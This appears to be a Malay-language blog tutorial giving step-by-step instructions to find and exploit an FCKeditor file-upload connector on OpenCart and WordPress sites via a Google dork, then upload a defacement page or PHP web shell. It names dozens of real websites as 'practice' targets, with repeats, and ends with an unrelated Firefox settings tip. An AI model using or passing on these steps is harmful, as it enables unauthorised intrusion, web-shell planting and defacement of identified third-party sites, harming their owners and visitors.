TUTORIAL: Hack Wordpress fckeditor Upload Vunerablity

Langkah 1: Buka google.com dan masukan Dork:

inurl:admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

atau

inurl:Powered By OpenCart

Pilihlah mana website yang diingini..

Contoh:

http://www.schoolshopper.com.au/

Langkah 2: Tambahkan website dengan exploit nya:

admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

Contoh:

http://www.schoolshopper.com.au/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

Akan kelihatan seperti dibawah:

Jika website tersebut ada patch, tambahkan exploitnya selepas patch

 Contoh:

www.site.com/patch/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

Langkah 3: Tukar “Connector” menjadi “PHP”

Langkah 4: Upload deface atau shell korang

Langkah 5: Untuk check shell atau deface korang, check URL seperti ini:

www.site.com/deface.html

atau

www.site.com/shell.php

Demo untuk latihan:

http://ruthsgarden.com/

http://www.utahflowers.net/

http://www.eesnet.org/

http://bestonlinediscounts.net/

http://wenrestaurant.com/

http://ruthsgarden.com/

http://www.utahflowers.net/

http://www.inlove.my/

http://megamall.com.pk/

http://stefanyboutique.com/

http://www.virtualgeorge.info/

http://iphoneclone.biz/

http://amourcristallis.com/

http://www.eesnet.org/

http://www.schoolshopper.com.au/

http://www.mymaxi.nl/

http://wiretek.net/

http://shop.tjokgus.com/

http://www.aquariumsystem.it/

http://uae-shopper.com/

http://organicjewelries.com/

http://www.granmasantiques.com/

http://avocadogenie.com/

http://www.inputandanalysis.com

http://eddiegifts.com/

http://bestonlinediscounts.net/

http://wenrestaurant.com/

http://ruthsgarden.com/

http://www.utahflowers.net?/

http://www.inlove.my/

http://megamall.com.pk/

http://stefanyboutique.com?/

http://www.inputandanalysis.com/

http://www.virtualgeorge.info/

http://iphoneclone.biz/

http://amourcristallis.com?/

http://www.eesnet.org/

http://www.schoolshopper.com.au/

http://www.mymaxi.nl/

http://wiretek.net/

http://shop.tjokgus.com/

http://www.aquariumsystem.it/

http://uae-shopper.com/

http://organicjewelries.com/

http://www.granmasantiques.com/

http://avocadogenie.com/

http://www.inputandanalysis.com/

http://www.utahflowers.net/

http://stefanyboutique.com/

http://amourcristallis.com/

TUTORIAL: Cara untuk munculkan http:// di dalam Firefox 7+

Langkah 1: Pada URL bar, Taip

about:config

Langkah 2: Click “I’ll be careful, I promise!”

Langkah 3: Pada Filter bar, Taip:

browser.urlbar.trimURLs

Langkah 4: Double click pada "Preference Name" yang muncul untuk tukar “true” menjadi “false”

Selesai…